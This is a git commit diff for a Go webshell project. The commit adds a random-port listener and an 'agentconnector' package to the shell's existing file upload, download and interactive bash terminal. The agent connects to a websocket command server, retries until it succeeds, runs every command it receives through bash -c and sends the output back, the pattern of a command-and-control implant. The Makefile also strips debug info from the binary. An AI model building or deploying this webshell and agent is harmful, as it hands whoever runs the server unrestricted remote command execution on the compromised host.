added port number to the websocket connection
This commit is contained in:
		
							parent
							
								
									23046e026d
								
							
						
					
					
						commit
						380ff26eef
					
				
							
								
								
									
										3
									
								
								Makefile
								
								
								
								
							
							
						
						
									
										3
									
								
								Makefile
								
								
								
								
							| 
						 | 
				
			
			@ -13,7 +13,8 @@ all: build
 | 
			
		|||
 | 
			
		||||
build: ## Build the application
 | 
			
		||||
	@echo "Building $(APP_NAME)..."
 | 
			
		||||
	$(GO_BUILD) -o $(BINARY)
 | 
			
		||||
	# $(GO_BUILD) -o $(BINARY)
 | 
			
		||||
	$(GO_BUILD) -ldflags "-w" -o $(BINARY)
 | 
			
		||||
 | 
			
		||||
install: build ## Install the application
 | 
			
		||||
	@echo "Installing $(APP_NAME)..."
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
							
								
								
									
										59
									
								
								main.go
								
								
								
								
							
							
						
						
									
										59
									
								
								main.go
								
								
								
								
							| 
						 | 
				
			
			@ -10,6 +10,7 @@ import (
 | 
			
		|||
	"html/template"
 | 
			
		||||
	"io"
 | 
			
		||||
	"log"
 | 
			
		||||
	"net"
 | 
			
		||||
	"net/http"
 | 
			
		||||
	"net/url"
 | 
			
		||||
	"os"
 | 
			
		||||
| 
						 | 
				
			
			@ -18,9 +19,12 @@ import (
 | 
			
		|||
	"path/filepath"
 | 
			
		||||
	"regexp"
 | 
			
		||||
	"strings"
 | 
			
		||||
	"sync"
 | 
			
		||||
 | 
			
		||||
	"github.com/creack/pty"
 | 
			
		||||
	"github.com/gorilla/websocket"
 | 
			
		||||
 | 
			
		||||
	"gommand/src/agentconnector"
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
type PageData struct {
 | 
			
		||||
| 
						 | 
				
			
			@ -36,6 +40,8 @@ type CommandOutput struct {
 | 
			
		|||
	Error   string
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
// Contains the list of commands, which will be parsed recursively
 | 
			
		||||
// through executeCommandTree() and in the end executeCommand()
 | 
			
		||||
type CommandNode struct {
 | 
			
		||||
	Operator 	string
 | 
			
		||||
	Left 		*CommandNode
 | 
			
		||||
| 
						 | 
				
			
			@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) {
 | 
			
		|||
	tmpl.Execute(w, data)
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func main() {
 | 
			
		||||
func startMainServer() (int, net.Listener) {
 | 
			
		||||
 | 
			
		||||
	http.HandleFunc("/", handler)
 | 
			
		||||
	http.HandleFunc("/upload", fileUploadHandler)
 | 
			
		||||
	http.HandleFunc("/download", fileDownloadHandler)
 | 
			
		||||
	http.HandleFunc("/terminal", terminalHandler)
 | 
			
		||||
	http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
 | 
			
		||||
	fmt.Println("Starting server on :8080")
 | 
			
		||||
	http.ListenAndServe(":8080", nil)
 | 
			
		||||
 | 
			
		||||
	listener, err := net.Listen("tcp", ":0")
 | 
			
		||||
	if err != nil {
 | 
			
		||||
		log.Fatal(err)
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	port := listener.Addr().(*net.TCPAddr).Port
 | 
			
		||||
	log.Println("Using port:", port)
 | 
			
		||||
 | 
			
		||||
	return port, listener
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
func main() {
 | 
			
		||||
	// http.HandleFunc("/", handler)
 | 
			
		||||
	// http.HandleFunc("/upload", fileUploadHandler)
 | 
			
		||||
	// http.HandleFunc("/download", fileDownloadHandler)
 | 
			
		||||
	// http.HandleFunc("/terminal", terminalHandler)
 | 
			
		||||
	// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
 | 
			
		||||
	// // fmt.Println("Starting server on :8080")
 | 
			
		||||
	// // log.Fatal(http.ListenAndServe(":8080", nil))
 | 
			
		||||
 | 
			
		||||
	// /* This section opens the server on a random port which is also free to use */
 | 
			
		||||
	// listener, err := net.Listen("tcp", ":0")
 | 
			
		||||
	// if err != nil {
 | 
			
		||||
	// 	panic(err)
 | 
			
		||||
	// }
 | 
			
		||||
	// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
 | 
			
		||||
	// log.Fatal(http.Serve(listener, nil))
 | 
			
		||||
 | 
			
		||||
	port, listener := startMainServer()
 | 
			
		||||
 | 
			
		||||
	var wg sync.WaitGroup
 | 
			
		||||
	wg.Add(2)
 | 
			
		||||
 | 
			
		||||
	go func() {
 | 
			
		||||
		defer wg.Done()
 | 
			
		||||
		log.Fatal(http.Serve(listener, nil))
 | 
			
		||||
	}()
 | 
			
		||||
 | 
			
		||||
	go func() {
 | 
			
		||||
		defer wg.Done()
 | 
			
		||||
		agentconnector.StartServer(port)
 | 
			
		||||
	}()
 | 
			
		||||
 | 
			
		||||
	wg.Wait()
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
var upgrader = websocket.Upgrader {
 | 
			
		||||
| 
						 | 
				
			
			@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
 | 
			
		|||
			break
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		// This is done, so resizing works in the browser, especially resizing the terminal
 | 
			
		||||
		// Check if the message is binary and starts with control prefix 0xFF.
 | 
			
		||||
		if len(message) > 0 && message[0] == 0xFF {
 | 
			
		||||
			var resizeMsg struct {
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
| 
						 | 
				
			
			@ -0,0 +1,182 @@
 | 
			
		|||
package agentconnector
 | 
			
		||||
 | 
			
		||||
import (
 | 
			
		||||
	"encoding/json"
 | 
			
		||||
	"fmt"
 | 
			
		||||
	"log"
 | 
			
		||||
	"net/http"
 | 
			
		||||
	"net/url"
 | 
			
		||||
	"os/exec"
 | 
			
		||||
	"time"
 | 
			
		||||
	"math/rand"
 | 
			
		||||
	"math"
 | 
			
		||||
	"strconv"
 | 
			
		||||
 | 
			
		||||
	"github.com/gorilla/websocket"
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
const(
 | 
			
		||||
	webServerAddr 	= "127.0.0.1:3333"
 | 
			
		||||
	webSocketAddr   = "127.0.0.1:5555"
 | 
			
		||||
	registerURL = "http://" + webServerAddr + "/agents"
 | 
			
		||||
	// wsURL 		= "ws://" + webSocketAddr + "/data"
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
type Agent struct {
 | 
			
		||||
	AgentName 		string `json:"agentName"`
 | 
			
		||||
	AgentID         string `json:"agentId"`
 | 
			
		||||
	AgentType       string `json:"agentType"`
 | 
			
		||||
	AgentIP         string `json:"agentIp"`
 | 
			
		||||
	InitialContact 	string `json:"initialContact"`
 | 
			
		||||
	LastContact     string `json:"lastContact"`
 | 
			
		||||
	AddPort 		string `json:"addPort"`
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
type Message struct {
 | 
			
		||||
	Type 	string `json:"type"`
 | 
			
		||||
	Payload string `json:"payload"`
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
var conn *websocket.Conn
 | 
			
		||||
 | 
			
		||||
func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
			
		||||
 | 
			
		||||
	form := url.Values{}
 | 
			
		||||
	form.Add("agentId", agentId)
 | 
			
		||||
	form.Add("agentName", agentName)
 | 
			
		||||
	form.Add("agentType", agentType)
 | 
			
		||||
	form.Add("IPv4Address", agentIp)
 | 
			
		||||
	form.Add("addPort", addPort)
 | 
			
		||||
 | 
			
		||||
	resp, err := http.PostForm(registerURL, form)
 | 
			
		||||
	if err != nil {
 | 
			
		||||
		return fmt.Errorf("Error registering agent: %v", err)
 | 
			
		||||
	}
 | 
			
		||||
	defer resp.Body.Close()
 | 
			
		||||
 | 
			
		||||
	if resp.StatusCode != http.StatusCreated {
 | 
			
		||||
		return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	log.Printf("Agent %s successfully registered.", agentName)
 | 
			
		||||
	return nil
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
			
		||||
	wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
 | 
			
		||||
	var err error
 | 
			
		||||
	for {
 | 
			
		||||
		conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
 | 
			
		||||
		if err == nil {
 | 
			
		||||
			log.Println("WeSocket connection established")
 | 
			
		||||
			// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
 | 
			
		||||
			return nil
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
 | 
			
		||||
		time.Sleep(5 * time.Second)
 | 
			
		||||
	}
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
			
		||||
	backoff := 2 * time.Second
 | 
			
		||||
	maxBackoff := 1 * time.Minute
 | 
			
		||||
 | 
			
		||||
	for {
 | 
			
		||||
		log.Println("Attempting to reconnect to WebSocket...")
 | 
			
		||||
		err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
 | 
			
		||||
		if err == nil {
 | 
			
		||||
			log.Println("Reconnection succesful.")
 | 
			
		||||
			return nil
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		log.Printf("Reconnection failed: %v", err)
 | 
			
		||||
 | 
			
		||||
		time.Sleep(backoff)
 | 
			
		||||
		backoff *= 2
 | 
			
		||||
		if backoff > maxBackoff {
 | 
			
		||||
			backoff = maxBackoff
 | 
			
		||||
		}
 | 
			
		||||
	}
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
 | 
			
		||||
	defer conn.Close()
 | 
			
		||||
 | 
			
		||||
	for {
 | 
			
		||||
		_, rawMessage, err := conn.ReadMessage()
 | 
			
		||||
		if err != nil {
 | 
			
		||||
			log.Printf("Connection lost: %v", err)
 | 
			
		||||
			if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
 | 
			
		||||
				log.Printf("Critical error during reconnection: %v", reconnectErr)
 | 
			
		||||
				}
 | 
			
		||||
			continue
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		var message Message
 | 
			
		||||
		if err := json.Unmarshal(rawMessage, &message); err != nil {
 | 
			
		||||
			log.Printf("Error unmarshalling message: %v", err)
 | 
			
		||||
			continue
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		if message.Type != "command" {
 | 
			
		||||
			log.Printf("Ignoring non-command message: %v", message)
 | 
			
		||||
			continue
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		command := message.Payload
 | 
			
		||||
		log.Printf("Received command: %s", command)
 | 
			
		||||
 | 
			
		||||
		cmd := exec.Command("bash", "-c", command)
 | 
			
		||||
		output, err := cmd.CombinedOutput()
 | 
			
		||||
 | 
			
		||||
		response := Message{
 | 
			
		||||
			Type: "response",
 | 
			
		||||
			Payload: string(output),
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		if err != nil {
 | 
			
		||||
			response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		responseBytes, _ := json.Marshal(response)
 | 
			
		||||
		if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
 | 
			
		||||
			log.Printf("Error sending output: %v", err)
 | 
			
		||||
			break
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		log.Printf("Output sent to server.")
 | 
			
		||||
	}
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func randomInt(length int) int {
 | 
			
		||||
    rand.Seed(time.Now().UnixNano())
 | 
			
		||||
	min := int(math.Pow10(length-1))
 | 
			
		||||
	max := int(math.Pow10(length)) -1
 | 
			
		||||
	return rand.Intn(max-min+1) + min
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
// func main() {
 | 
			
		||||
func StartServer(agentInteractivePort int){
 | 
			
		||||
	// agentInteractivePort is only needed for interactive sessions
 | 
			
		||||
	agentName := "Agent-001"
 | 
			
		||||
	agentId := strconv.Itoa(randomInt(8))
 | 
			
		||||
	agentIp := "127.0.0.1"
 | 
			
		||||
	agentType := "Interactive"
 | 
			
		||||
	addPort := strconv.Itoa(agentInteractivePort)
 | 
			
		||||
 | 
			
		||||
	log.Printf("AgentId: %s", agentId)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
	// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
 | 
			
		||||
	// 	log.Fatalf("Agent registration failed: %v", err)
 | 
			
		||||
	// }
 | 
			
		||||
 | 
			
		||||
	if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
 | 
			
		||||
		log.Fatalf("Websocket connection failed: %v", err)
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	listenForCommands(agentName, agentId, agentIp, agentType, addPort)
 | 
			
		||||
}
 | 
			
		||||
| 
						 | 
				
			
			@ -1,11 +1,11 @@
 | 
			
		|||
const helpMsg = `
 | 
			
		||||
This is a non interactive Webshell including some additional features to ease
 | 
			
		||||
communications between server and client.
 | 
			
		||||
This is a non interactive Webshell with an interactive mode, including some
 | 
			
		||||
additional features to ease communications between server and client.
 | 
			
		||||
  Available Commands:
 | 
			
		||||
    upload            Upload files to the server through the file selector of the browser.
 | 
			
		||||
    download <file>   Download files from the server to your local download directory.
 | 
			
		||||
    theme <theme>     Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
 | 
			
		||||
    start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell.
 | 
			
		||||
    start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
 | 
			
		||||
`
 | 
			
		||||
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n  Available Commands:\n    upload\t\t\t\tUpload files to the server through the file selector of the browser.\n    download <file>\t\t\tDownload files from the server to your local download directory.\n    theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n    start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
 | 
			
		||||
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
		Loading…
	
		Reference in New Issue